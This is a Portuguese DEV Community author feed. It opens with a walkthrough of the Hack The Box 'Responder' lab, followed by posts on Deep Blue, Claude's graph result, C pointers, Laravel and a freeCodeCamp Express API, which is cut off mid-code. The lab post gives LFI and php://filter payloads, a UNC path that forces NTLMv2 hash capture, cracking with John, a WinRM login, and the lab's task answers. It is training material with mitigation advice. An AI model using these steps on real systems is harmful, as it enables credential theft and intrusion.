DEV Community: Adriel Henrique

Resolvendo o HTB Responder: LFI, captura de hash NTLMv2 e acesso via WinRM

Adriel Henrique — Thu, 24 Sep 2026 08:32:20 +0000

Introdução

Há alguns anos me interessei por hacking mas acabei saindo um pouco do tema para estudar a área de dados. Para retornar à área decidi fazer algumas trilhas da PortSwigger e do HTB com máquinas e CTFs mais simples.

Dado esse contexto, decidi que conforme eu for refazendo a trilha introdutória do HTB irei fazer alguns tutoriais sobre algumas máquinas. Escolhi fazer primeiro a responder, pois ela apresenta um grau de complexidade bem mais alta que as anteriores. Isso ocorre principalmente devido a ela concatenar várias falhas de segurança para sua exploração.

Fase de reconhecimento

Na fase de reconhecimento, para esse contexto, podemos começar usando um scanner de rede como o nmap para verificar os serviços que estão sendo executados no alvo. Explicando de forma simples: seria como se ao chegarmos em um bairro, tentando conhecer a comunidade, decidimos bater de porta em porta para perguntar qual software "mora" naquela casa, caso ninguém responda é sinal de que ou fomos barrados por um firewall ou realmente não tem ninguém operando na porta de rede.

Executando o nmap temos os seguintes resultados:

┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -sC -sV 10.129.230.163
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-24 02:29 +0000
Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for unika.htb (10.129.230.163)
Host is up (0.21s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: Unika
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Aqui temos muitas informações - duas portas abertas, ambas rodando serviços em http, na porta 80 temos o apache que é um software de servidor web, o que comprova que tem uma pagina web e na porta 5985 temos o Microsoft HTTPAPI(WinRM).

Existe um procedimento comum em máquinas HTB onde você para acessar uma aba específica é necessário acessar o arquivo (substitua o ip)

# Edite o arquivo
sudo nano /etc/hosts

# Adicione no final:
10.129.X.X   unika.htb

Verificando que na guia do site existe a possibilidade de trocar de idioma. Ao trocar o idioma, perceba que o link é alterado para: http://unika.htb/index.php?page=french.html

Isso é um indício forte que talvez exista nessa aplicação uma brecha de Local File Inclusion(LFI). Pois se o parâmetro page= aceitar entradas arbitrárias poderemos introduzir aquivos maliciosamente.

A forma mais simples de verificar a existência dessa falha é procurando pelo diretório hosts:

http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts

verificado que podemos acessar informações do host, é possível confirmar a existência da falha

podemos também testar se é possível "traduzir" um arquivo de código para base 64 usando a função filter.

http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php

desencriptando temos:

<?php 
$domain = "unika.htb";
if($_SERVER['SERVER_NAME'] != $domain) {
  echo '<meta http-equiv="refresh" content="0;url=http://unika.htb/">';
  die();
}
if(!isset($_GET['page'])) {
  include("./english.html");
}
else {
  include($_GET['page']);
}

o coração da falha está no "include($_GET['page']);" - ao não encontrar a página, o servidor adiciona a página solicitada pelo usuário sem qualquer verificação.

Isso comprova que existe uma falha muito severa de segurança: a aplicação permite que você adicione arquivos de forma arbitrária dentro do servidor, falha que se tornará vetor de ataque.

Fase de Exploração

Sabendo do problema podemos criar um servidor SMB falso através do Responder

──(kali㉿kali)-[~/Downloads]
└─$ sudo responder -I tun0

podemos executar o seguinte código:

http://unika.htb/index.php?page=//[seu IP]/payload

como o servidor permite você procurar por um arquivo qualquer, podemos "forçar" ele a procurar algo no nosso servidor falso.(arquivo payload).

Ao incluir um caminho UNC (//IP/payload), o PHP no Windows tenta acessar um compartilhamento SMB no IP indicado. O Responder finge ser esse servidor SMB e captura o hash NTLMv2 enviado pela máquina vítima durante a tentativa de autenticação.

Esse procedimento exige o uso de credenciais, que a máquina atacada envia.

[SMB] NTLMv2-SSP Client   : 10.129.95.234
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::RESPONDER:9c44013f6f207b9c:4083607D154D17D099D9EA1F41C982D0:01010000000000000062A081254ADD013EE714100FDEE1890000000002000800490049004100390001001E00570049004E002D0031003800470054004A004F0054004A00460049004D0004003400570049004E002D0031003800470054004A004F0054004A00460049004D002E0049004900410039002E004C004F00430041004C000300140049004900410039002E004C004F00430041004C000500140049004900410039002E004C004F00430041004C00070008000062A081254ADD0106000400020000000800300030000000000000000100000000200000EFBCC3F63B0CA9D9B9F68403CE65BBCEC2D01F1F7D34637489B2D055E09A67190A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00360037000000000000000000

Esse é o Hash da senha do administrador. O Hash pode ser definido matematicamente como a seguinte função:

H (T) \to T^{'}

O Hash,diferente da criptografia clássica, é uma função de mão única; não é criptografia reversível. A quebra é feita por tentativa e erro com wordlist

Pense que o Hash é uma maquina, onde você coloca texto e ele comprime para um tamanho fixo e "bagunça" o texto para tornar ele ilegível para nós. Para "desvendar" esse mistério sobre o que esta escrito ali é necessário saber o texto original, pois o algoritmo de hash só produz uma saída para uma entrada. Dois textos distintos não produzem o mesmo hash, dois texto idênticos, sim.

para essa tarefa podemos usar tanto o Hashcat como o John the Ripper

┌──(kali㉿kali)-[~/Downloads]
└─$ john --format=netntlmv2  --wordlist=rockyou.txt aa    
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badminton        (Administrator)     
1g 0:00:00:00 DONE (2026-09-24 02:28) 50.00g/s 204800p/s 204800c/s 204800C/s slimshady..oooooo
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Temos agora o usuário Administrator com a senha badminton

Vamos agora usar essa senha para entrar pela porta da frente da máquina usando o Evil-WinRM pra explorar o serviço do WinRM(protocolo de gerenciamento remoto do windows)

┌──(kali㉿kali)-[~/Downloads]
└─$ evil-winrm -i 10.129.230.163 -u Administrator -p badminton

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

procurando pela flag , temos o que precisamos:


*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-ChildItem -Path C:\ -Filter flag.txt -Recurse -ErrorAction SilentlyContinue


    Directory: C:\Users\mike\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         3/10/2022   4:50 AM             32 flag.txt



*Evil-WinRM* PS C:\Users\Administrator\Documents> 
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\mike\Desktop\flag.txt
ea81b7afddd03efaa0945333ed147fac

Conclusão

Apesar de ser uma máquina antiga, ela é bem mais interessante que as máquinas que apareceram anteriormente. Ela concatena vários conceitos de forma mais complexa, podendo criar um degrau difícil de escalar em um primeiro momento. Porém é possível extrair muito dela - Servidores SMB e sua falsificação, a necessidade de higienizar as entradas, uso de Whitelists para evitar ataques desse tipo e desenvolver senhas que não possam ser facilmente advinhadas e etc.

Mitigação

A exploração dessa máquina dependeu de três fatores encadeados: uma falha de LFI no PHP, a capacidade do servidor web iniciar conexões SMB de saída e o uso de uma senha fraca. Por isso, a mitigação também precisa atacar essas três frentes.

1. Na aplicação

O erro central está em include($_GET['page']). A regra de ouro é: nunca passe input do usuário diretamente para include, require, fopen ou qualquer função que resolva caminhos de arquivo.
A correção mais simples e eficaz é usar uma whitelist.

2. protocolos legados

Protocolos legados são superfície de ataque. SMB, LLMNR e NBT-NS continuam sendo explorados porque continuam habilitados por padrão. Desligar o que não é usado é uma das defesas mais subestimadas.

3. Senhas fracas

Senhas fracas derrubam qualquer cadeia de defesa. De nada adianta hardening se a senha do administrador é uma palavra de dicionário.

por fim a resolução da maquina:
Task 1
When visiting the web service using the IP address, what is the domain that we are being redirected to?
unika.htb

Task 2
Which scripting language is being used on the server to generate webpages?
php

Task 3
What is the name of the URL parameter which is used to load different language versions of the webpage?
page

Task 4
_Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", _"mimikatz.exe"

../../../../../../../../windows/system32/drivers/etc/hosts

Task 5
Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "./../../../../../../../windows/system32/drivers/etc/hosts", "mimikatz.exe"

//10.10.14.6/somefile

Task 6
What does NTLM stand for?
New Technology Lan Manager

Task 7
Which flag do we use in the Responder utility to specify the network interface?
-I

Task 8
There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?.
John The Ripper

Task 9
What is the password for the administrator user?
badminton

Task 10
We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
5985

Task 11
On which user's desktop is the flag located?
mike

Kasparov X Deep Blue - Uma Abordagem Computacional

Adriel Henrique — Sat, 25 Jul 2026 18:33:04 +0000

Em 1997, houve um confronto que tem uma importância grande para a humanidade, longe dos campos de batalha e dos discursos políticos, confronto onde um supercomputador enfrentava aquele que até o momento era considerado por muitos como o maior enxadrista da história, de um lado um computador de milhões de dólares e do outro uma mente genial. Kasparov contra Deep Blue além de ser um marco na história da computação também o era para a humanidade, pois ao seu desfecho o maior enxadrista do mundo já não era humano.

De um lado do ringue, nascido na antiga União Soviética, se tornou campeão mundial aos 22 anos – até o momento era o mais jovem da história – ao vencer, em um confronto marcado por questões políticas, o também soviético Anatholy Karpov, conhecido por seu estilo posicional e por ser um grande estrategista. Kasparov que manteve seu título por quase 20 anos, conhecido por sua grande preparação de aberturas(formas de desenvolver as primeiras jogadas) e um estilo de jogo agressivo que buscava a “iniciativa”, que é quando após fazer um lance obriga o outro jogador responder e colocando-o na defensiva.

Do outro, um supercomputador de milhões de dólares, criação do cientista da computação Feng-hsiung Hsu, que durante seu doutorado nos Estados Unidos passou a estudar engines de xadrez — programas especializados em jogar xadrez -. Após ingressar na IBM, dedicou-se ao projeto de construir uma máquina capaz de derrotar o campeão mundial

O primeiro confronto ocorreu em 1996 e terminou com uma vitória convincente de Kasparov. O campeão aceitou uma revanche no ano seguinte, e é justamente esse segundo confronto — em especial a primeira das seis partidas — que será analisado neste texto.

A Matemática por trás das Engines:

O Xadrez é considerado um jogo computacionalmente intratável e durante muito tempo se acreditou que computadores não poderiam jogar o jogo. Mas o que isso quer dizer? Para cada lance feito, o número de possibilidades de movimento cresce exponencialmente, chegando ao número de Shannon que tem um valor inimaginavelmente grande de 10^120 lances.

Essa crença refutada pela história, vinha da ideia da “explosão de combinatória” que é quando o número de combinações de um experimento matemático cresce de forma muito rápida e da ideia que um computador teria que “avaliar” todos os lances. Diante dessa dificuldade surgiu uma ideia: Os computadores deveriam em vez de avaliar todos os lances, procurar apenas aqueles que faziam sentido.

Para isso, os engenheiros desenvolveram uma função de avaliação capaz de atribuir uma nota a cada posição do tabuleiro. Essa função era calibrada com base no conhecimento de mestres e na análise de milhares de partidas de alto nível, utilizando métodos estatísticos para ajustar a importância de fatores como material, segurança do rei, estrutura de peões e mobilidade.

Assim, o computador conseguia estimar quais posições eram mais favoráveis e direcionar sua busca para as variantes mais promissoras.
Em resumo, ela poderia encontrar os lances mais promissores, ao “atribuir notas” à lances e posições, fazendo ela “podar” linhas ruins ou perdedoras.(guarde esta informação)

Tática e Estratégia

Como um jogo estratégia, é esperado que o xadrez se baseie em planos. Planos de longo prazo são chamados de estratégia e os de curto prazo que miram uma vantagem imediata são chamadas de tática.

No caso o “longo prazo”, seria as desenvolver as peças, posicionando-as da forma mais “eficiente possível”, as tornando o mais ativas:
As torres atuam melhor quando trabalham juntas em colunas abertas;
Os bispos atuam melhor em diagonais longas, posições abertas e quando temos ambos no tabuleiro, de forma que cada um cubra as casas escuras ou brancas;
Os cavalos atuam melhor em posições fechadas pois podem “saltar” sobre as peças e quando apoiadas por um peão, que é chamado de base de operações;
A Dama é a peça mais poderosa de todas e é o coração do ataque, ela trabalha muito bem em conjunto com todas as outras peças;
O rei vale o jogo e só deve ser utilizado em finais;
E o peão? É a alma do jogo! Os peões limitam as ações das peças inimigas e podem definir o vencedor de uma partida.

Peças bem posicionadas ou ter peças a mais criam uma vantagem, no caso posicional ou material.

A Primeira Partida

Essa partida à primeira vista pode parecer estranha. Mesmo conduzindo as peças brancas, Kasparov joga de forma encolhida e defensiva, evitando complicações táticas imediatas e conduzindo o jogo para uma posição fechada, evitando o contato, muito diferente de seu estilo naturalmente agressivo. Essa escolha fazia parte de uma estratégia conhecida como tática anti-computacional. Na década de 1990, programas como o Deep Blue eram extraordinários em posições táticas, nas quais algoritmos de força bruta e o cálculo profundo encontravam rapidamente as melhores sequências de lances. Em posições fechadas, entretanto, os planos estratégicos de longo prazo tinham maior importância, exigindo que a função de avaliação do computador captasse nuances posicionais mais difíceis de quantificar. Além disso, ao escolher uma variante pouco comum, Kasparov buscava retirar o Deep Blue de seu livro de aberturas logo nas primeiras jogadas, obrigando-o a depender apenas de seus algoritmos de busca e avaliação.

Podemos pensar na “tática anti-computacional” de Kasparov como forçar o computador a jogar posições onde ele tinha mais dificuldade, posições fechadas e com poucas partidas de referência que faziam o Deep Blue sair de seu livro de aberturas mais cedo. E neste cenário, algoritmos de força bruta e algoritmos de busca perdiam eficiência devido à explosão de combinatória. Nesse cenário se sobressai as estratégias de longuíssimo prazo, aos poucos construir uma posição superior, acumulando pequenas vantagens e forçando o computador ao erro até o derrotar.

Após muitos lances sem contato entre as peças:

Kasparov permite que o computador tome sua torre com o bispo o que parece uma loucura: mesmo que tome o bispo de casas negras do Deep Blue, a torre é muito superior ao bispo. Isso era parte do plano. Computadores tem dificuldade de avaliar vantagens posicionais, sua função de avaliação tinha maior dificuldade para mensurar a compensação estratégica obtida por Kasparov, especialmente o avanço inevitável dos peões passados que viria logo em seguida, entrando em uma posição perdida.

Agora Kasparov tem dois peões passados e conectados(um peão apoia o outro), que inevitavelmente vão chegar ao fim do tabuleiro sendo coroados para uma dama e vencendo o jogo. Poucos lances depois, os engenheiros do Deep Blue jogaram a toalha e admitiram a derrota.

Apesar dessa vitória, Kasparov teve que trocar sua estratégia de jogo, pois era perigoso demais jogar em um estilo que não era o dele, esse estilo não era só “anti-computacional” mas também “anti-Kasparov”.
Entretanto, a vitória de Kasparov seria apenas temporária. O Deep Blue empatou a segunda partida e, ao final do confronto, venceu o match por 3½ a 2½. Pela primeira vez, um campeão mundial em atividade era derrotado por um computador em condições oficiais, um marco na história da computação e da inteligência artificial.

Claude resolve problema em aberto e choca Donald Knuth

Adriel Henrique — Tue, 24 Mar 2026 21:09:37 +0000

Terence Tao — para muitos, um dos maiores matemáticos vivos — acreditava que, em alguns anos, teríamos a IA como uma coautora confiável para artigos na área de exatas. Contrariando o que Tao acreditava, isso acabou de acontecer. Claude conseguiu resolver um problema de grafos que estava em aberto. Isso ocorreu em um novo trabalho publicado por Donald Knuth, um dos maiores nomes da ciência da computação e também um grande “ex-cético” da capacidade da IA, que, no auge de seus 88 anos, estava trabalhando em um problema que o assombrava havia semanas para sua lendária coleção de livros sobre programação (sim, Knuth ainda trabalha no “Art of Computer Programming”), quando houve um resultado inesperado: a IA Claude Opus conseguiu resolver um problema de pesquisa em aberto.

Tentando há semanas resolver um problema de grafos e combinatória, Knuth solicitou ajuda a seu amigo Filip Stappers, que acabou jogando esse problema para o Claude. O Claude tentou uma série de estratégias para atacar o problema. Após 25 abordagens, percebeu que, para encontrar uma solução “geral” para o problema informado, deveria usar matemática pura e que, após uma série de erros, pôde encontrar, mesmo que de maneira muito incompleta, algumas soluções que permitiam uma generalização, a qual Knuth tratou de desenvolver e que de fato resolvia o problema. Apesar do grande sucesso do Claude, por vezes ele chegou a “enroscar”, sem conseguir executar os próprios programas que escrevia, além de não ter conseguido, de fato, elaborar a generalização.

Para finalizar o paper "Claude Cycles", Knuth fez uma piada que de fato nos deixa bastante reflexivos:

"Acho que o espírito de Claude Shannon provavelmente se orgulha de saber que seu nome agora está sendo associado a tais avanços. Parabéns ao Claude!".

Esse acontecimento é algo incrível. Ainda me lembro de alguns professores dizendo que o ChatGPT errava muitas coisas de matemática básica. Ou ainda, há algum tempo, ao submeter um problema da Olimpíada Internacional de Matemática, que levei um tempo considerável para resolver, nenhuma IA que testei foi capaz de resolvê-lo.
o problema em questão:

IMO - 1964. Prove que, para a>b² ,ocorre a seguinte identidade: a - b a + b a - b ... = a - \frac{3 b ^{2}}{4} - \frac{b}{2}

Apesar de ser uma questão bastante complexa, ela segue um caminho relativamente conhecido; o problema real é a fatoração de um polinômio de grau 4 que surge ao desenvolver a expressão. Em outra situação, cheguei a testar alguns problemas algebricamente bem pesados do livro Higher Algebra, de Hall and Knight — conhecido por ter exercícios de altíssimo nível —, onde o DeepSeek apresentou dificuldades, “enroscando” ou não conseguindo resolver alguns deles.
Todavia, os problemas citados são simplesmente triviais perto do que Knuth e Filip Stappers pediram ao Claude para resolver. De fato, isso pode ser um avanço considerável no uso de IA em nível de pesquisa. De fato, parabéns ao Claude!

Entendendo Ponteiros

Adriel Henrique — Fri, 12 Jul 2024 14:08:50 +0000

Em graduações da área de tecnologia, existem conceitos e matérias que geralmente assustam os alunos, alguns dos principais exemplos são matérias relacionadas a Programação Orientada a Objetos e Cálculo, outro exemplo são algumas noções mais abstratas tal como ponteiros, principalmente em C, tema deste artigo.
Diferentemente de nós, os computadores não conhecem uma determinada informação por um “rótulo” ou “nome”, e sim pelo endereço onde este dado está alocado na memória. Podemos pensar na memória como um conjunto de “células” que contém um número de bits que armazenam 0 ou 1 e que cada célula está associada a um determinado endereço onde armazena alguma informação para que os programas executados pela máquina possam acessar estes dados e os manipular.
Tendo em vista que para um programa poder usar um dado ele precisa saber de seu endereço na memória, podemos conceber o conceito de ponteiro. O ponteiro é uma variável que “aponta” para algum outro dado, é como se fosse um espaço na memória destinado a guardar o endereço de outra variável ou informação para que esta possa ser manipulada.
Mas agora vem a pergunta, qual a utilidade de um ponteiro? O ponteiro permite algumas operações mais complexas envolvendo a memória, tal como alocação dinâmica com Malloc ou a criação de estruturas de dados mais complexas, etc. Além disso, há alguns detalhes que não são tão facilmente percebidas pelos estudantes em um primeiro momento, tal como o fato de o nome de um vetor ser um ponteiro. Isto mesmo, um vetor nada mais é que um “ponteiro fixo” que aponta para uma determinada posição na memória e que nós usamos o índice para manipular de acordo com a necessidade.
Outra utilidade é a manipulação de dados por referência, por exemplo: passar uma matriz como parâmetro para outra função, permitindo que a matriz original seja modificada ao invés do valor ou objeto passado ser apenas uma cópia, algo que por exemplo ocorre no Javascript onde não há conceito de ponteiro (ao menos não explicitamente), por exemplo:

#include <stdio.h>

int vet [5] ={10,20,3,4};

void somadez(int * ref){
    for(int i=0;i<5;i++)
        ref[i]+=10;
}

int main () {
    somadez(vet);
    for(int i=0;i<5;i++)
        printf("%i\n",vet[i]);

    return 0;
}

saída:
20
30
13
14

note que quem foi alterado foi o vetor original

Outra utilidade não tão evidente de ponteiros, desta vez para linguagens orientadas a objeto, onde podemos, por exemplo, criar objetos dinâmicos e facilitar o trabalho com herança e polimorfismo.
Temos esse exemplo a baixo com C++:

#include <iostream>

using namespace std;

class Animal{
public:
    virtual void som();
};

class Cachorro : public Animal{
public:
    void som(){
        cout << "auau";
    }
};

int main () {
    Animal * ClasseBase;
    Cachorro ClasseFilha;

    ClasseBase = &ClasseFilha;
    ClasseBase->som();
    //neste caso podemos usar o ponteiro para acessar métodos e atributos de uma classe derivada.
    return 0;
}

Introdução ao Laravel

Adriel Henrique — Fri, 22 Dec 2023 06:09:10 +0000

O Laravel é um framework PHP de sintaxe elegante que fornece uma série de recursos para a construção de aplicações web padrão MVC ,possuindo uma vasta documentação e comunidade é um dos maiores frameworks para trabalhar com web da atualidade.
Para construir um projeto é necessário ter o composer instalado localmente e executar o seguinte comando:

composer create-project laravel/laravel<nome do projeto>

Após a execução do comando, será criado um diretório raiz do projeto e dentro dele terá uma série de diretórios que contem arquivos que servem para exercer certas funções em nossa aplicação, neste momento os diretórios que interessam são o “App” e “Routes”, o primeiro é necessário para definir os métodos e a maioria das funcionalidades do nosso aplicativo, sendo este o coração do projeto, ao qual não daremos tanto foco em um primeiro momento. O segundo diz respeito a organização de nossas rotas e o direcionamento de cada requisição.
Dando continuídade a explicação da pasta Route, dentro dela temos os arquivos: web.php, api.php, channels.php e console.php.
Geralmente, começamos definindo as rotas no “web.php” que são aquelas rotas que devem ser acessadas pelo navegador usando a url, para definir uma rota podemos fazer assim:

Route::get('/', function () {
return view('HelloWorld');
});

Este metodo, quando acessado a rota ‘/’, retorna um documento blade(Blade é uma ferramenta inclusa no laravel que fornece uma maneira de gerar e renderizar arquivos html) chamado “HelloWorld.blade.php” na pasta ‘/resoures/view’.
Outra ferramenta muito útil para trabalhar com Laravel é o Artisan que é uma interface em linha de comando que serve para agilizar o processo de desenvolvimento.
Podemos usar o Artisan para gerar um controller:

php artisan make:controller <nome do controller>

Controllers servem para gerenciar requisições http enviadas para determinadas rotas e poder adicionar uma lógica a estas.
Por fim vamos construir uma aplicação que pegue um parametro, chame um controller que através de um metodo retorne uma view
no web.php:

use App\Http\Controllers\exemplo;

Route::get('/{nome}', [exemplo::class, 'index']);

o 'use' indica a localização do arquivo do controller, nossa rota tem o parametro "nome" e no entre as colchetes esta a chamada do método index do controller "exemplo".

php artisan make:controller exemplo

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class exemplo extends Controller
{
    public function index(string $nome){
        return view('HelloWorld', ['nome' => $nome]);
    }
}

O Método index retorna a view "Hello World" passando para ela o parametro nome

<div>
    <h1>Hello, {{ $nome }}</h1>
</div>

entre as chaves esta o parametro que repassamos à view, o resultado deve ser assim quando acessarmos "http://127.0.0.1:8000/dev":

Resolvendo o Exercise Tracker - Free-code-camp

Adriel Henrique — Thu, 15 Jun 2023 19:04:47 +0000

A algum tempo fiz a certificação de Back-end da free-code camp,a maioria dos projetos propostos são no geral bem simples, no entanto, houve um que o nível de complexidade é mais elevado, que é o projeto de “exercise tracker”, neste artigo vou explicar como acabei resolvendo ele.

Para este artigo vou usar algumas ferramentas:

O repositório oficial do freecode camp do projeto.
Postman para trabalhar com a API

Além de alguns conhecimentos prévios, como:

Algumas noções de requições HTTP/REST.
Express, Mongoose e Atlas DB

O projeto quando importado do Github ou do Replit tem apenas as funções básicas do express:

const express = require('express')
const app = express()
const cors = require('cors')
require('dotenv').config()

Devemos adicionar as dependências do projeto tais como o Mongoose, para que funcione como nosso banco de dados NoSQL e o Body-parser para que possamos trabalhar com nossas requisições.

const express = require('express')
const app = express()
const cors = require('cors')
require('dotenv').config()
const mongoose = require('mongoose');
const bodyParser = require('body-parser');

app.use(bodyParser.urlencoded({ extended: true }))
app.use(bodyParser.json());

Indo para o html:

     <form action="/api/users" method="post">
        <h3>Create a New User</h3>
        <p><code>POST /api/users</code></p>
        <input id="username" type="text" name="username" placeholder="username" />
        <input type="submit" value="Submit" />
      </form>
      <form id="exercise-form" method="post">
        <h3>Add exercises</h3>
        <p><code>POST /api/users/:_id/exercises</code></p>
        <input id="uid" type="text" name="_id" placeholder=":_id" />
        <input id="desc" type="text" name="description" placeholder="description*" />
        <input id="dur" type="text" name="duration" placeholder="duration* (mins.)" />
        <input id="date" type="text" name="date" placeholder="date (yyyy-mm-dd)" />
        <input type="submit" value="Submit" />
      </form>

    <script>
      const exerciseForm = document.getElementById("exercise-form");

      exerciseForm.addEventListener("submit", () => {
        const userId = document.getElementById("uid").value;
        exerciseForm.action = `/api/users/${userId}/exercises`;

        exerciseForm.submit();
      });
    </script>

Análisando o html vemos que este possui dois formulários que chamam rotas diferentes uma chama a rota ‘/api/users/’ com uma requisição do tipo POST e a outra ‘api/users/:_id/exercises’.

Primeiramente,após definirmos as variaveis de ambiente e fazer a conexão com o AtlasDB devemos criar os Schemas e Modelos que usaremos:

async function main() {
  await mongoose.connect(mySecret);
}
//-----------
const userSchema = mongoose.Schema({
  username: String,
  _id: String
});
const exerciseSchema = mongoose.Schema({
  duser: String,
  description:{
    type: String,
    required: true
  },
  duration:{
      type: Number,
      required: true
  },
  date: Date
});

var User = mongoose.model('user',userSchema);
var exercise = mongoose.model('exercise',exerciseSchema);

No primeiro requisito deve-se utilizando um nome de usuário fornecido no formulário 'Create a New User' para um usuário e devolva uma resposta em JSON com o nome do usuário e seu id

app.post('/api/users',async function(req,res){
  const user = req.body.username;
  try{
    const username = await User.findOne({username: user});
    if(username == null){
      let newId = new mongoose.mongo.ObjectId();
      const newUser = new User({username: req.body.username, _id: newId});
      await newUser.save();
      res.json({'username':newUser.username,'_id': newUser._id});
    }else{
      res.json({'username':username.username,'_id': username._id});
    }

  }catch(err){

    res.status(500).json(err);
  }
});

No trecho de código acima, antes de registrar ele procura para ver se este usuário existe, caso o resultado seja "null" ele criara um novo usuário.

Como requisito para terminar o projeto também é necessário que quando houver uma requisição do tipo GET para a mesma rota ela devolva um array de objetos com o nome de usuário e id dos usuários registrados,algo relativamente simples:

app.get('/api/users',async function(req,res){
  try{
    var users = [];
    users = await User.find();
    res.json(users);
  }catch(err){
    res.status(500).json(err);
  }

})

A resposta do tipo get deve ser assim:

Seguindo o desafio,devemos fazer com que a API possa salvar exercícios desde que ceda uma id(através da URL) de usuário,uma descrição e uma duração, caso uma data não seja cedida,devemos pegar a data atual.

app.post('/api/users/:_id/exercises', async function(req,res){
  const id = req.params._id;
  const data = req.body;

  let date;
  if(data.date == null || data.date == ''){
    date = new Date();
  }else{
    date = data.date;
  }

  try{
    const newexer = new exercise({
      duser: id,
      description:data.description,
      duration: data.duration,
      date:date
    });
    await newexer.save();
    const user = await User.findById(id).exec();

    res.json({
      username:  user.username,
      _id: user._id,
      description:newexer.description,
      duration:newexer.duration,
      date: new Date(newexer.date).toDateString()

    });
  }catch(err){
    res.status(500).json(err);

  }
});

Note que usaremos o campo "duser" para guardar o id do usuário. A rota de GET seguirá uma linha parecida com a anterior:

app.get('/api/users/:_id/exercises', async function(req,res){
  const id = req.params._id;
  try{
    const exers = await exercise.find({duser: id});
    res.json(exers);
 }catch(err){
    res.status(500).json(err);

  }
})

A rota agora construiremos a rota de logs, onde reside maior parte do desafio:
Quando solicitado à rota deve-ser devolver o objeto do usuário com o campo "count" que recebe o valor do número de exercicios cadastrados para o usuário, além do array dos exercicios, além da possibilidade de podermos filtrar por faixa de tempo, para isso usaremos o Postman.

Vendo a parte tracejada em vermelho,temos um exemplo de solicitação GET onde a Query esta na URL, no caso após "?" temos as condicionais que devem ser atendidas na consulta, para isso devemos criar um objeto que receba os parametros from,to e Limit usando o método "req.query", assim:

app.get('/api/users/:_id/logs',async function(req,res){
  const id = req.params._id;
  const { from, to, limit } = req.query;
  let dateObj = {}
  if (from) {
    dateObj["$gte"] = new Date(from)
  }
  if (to){
    dateObj["$lte"] = new Date(to)
  }
  let filter = {
    duser: id
  }
  if(from || to){
    filter.date = dateObj;
  }

  try{
    const user = await User.findById(id).exec();
    const exers = await exercise.find(filter).limit(+limit ?? 500);
    const num = await exercise.find({ duser: id}).count().exec();
    let log = exers.map((e) => {
            return {
                'description': e.description,
                    'duration': e.duration,
                'date': new Date(e.date).toDateString()
        };
    });
    res.json({
      username: user.username,
      count : num,
      _id: user._id,
     log});
 }catch(err){
    res.status(500).json(err);

  }
})

A resposta deve ser assim:

Por fim, o código completo:

const express = require('express')
const app = express()
const cors = require('cors')
require('dotenv').config()
const mongoose = require('mongoose');
const bodyParser = require('body-parser');

app.use(bodyParser.urlencoded({ extended: true }))
app.use(bodyParser.json());

app.use(cors())
app.use(express.static('public'))
app.get('/', (req, res) => {
  res.sendFile(__dirname + '/views/index.html')
});

const mySecret = process.env['MONGO_URI']

main().catch(err => console.log(err));

async function main() {
  await mongoose.connect(mySecret);
}
//-----------
const userSchema = mongoose.Schema({
  username: String,
  _id: String
});
const exerciseSchema = mongoose.Schema({
  duser: String,
  description:{
    type: String,
    required: true
  },
  duration:{
      type: Number,
      required: true
  },
  date: Date
});

var User = mongoose.model('user',userSchema);
var exercise = mongoose.model('exercise',exerciseSchema);
//------------
app.post('/api/users',async function(req,res){
  const user = req.body.username;
  try{
    const username = await User.findOne({username: user});
    if(username == null){
      let newId = new mongoose.mongo.ObjectId();
      const newUser = new User({username: req.body.username, _id: newId});
      await newUser.save();
      res.json({'username':newUser.username,'_id': newUser._id});
    }else{
      res.json({'username':username.username,'_id': username._id});
    }

  }catch(err){

    res.status(500).json(err);
  }
});
//--------------------
app.get('/api/users',async function(req,res){
  try{
    var users = [];
    users = await User.find();
    res.json(users);
  }catch(err){
    res.status(500).json(err);
  }

})

app.post('/api/users/:_id/exercises', async function(req,res){
  const id = req.params._id;
  const data = req.body;

  let date;
  if(data.date == null || data.date == ''){
    date = new Date();
  }else{
    date = data.date;
  }

  try{
    const newexer = new exercise({
      duser: id,
      description:data.description,
      duration: data.duration,
      date:date
    });
    await newexer.save();
    const user = await User.findById(id).exec();


    res.json({
      username:  user.username,
      _id: user._id,
      description:newexer.description,
      duration:newexer.duration,
      date: new Date(newexer.date).toDateString()

    });
  }catch(err){
    res.status(500).json(err);

  }
});

app.get('/api/users/:_id/exercises', async function(req,res){
  const id = req.params._id;
  try{
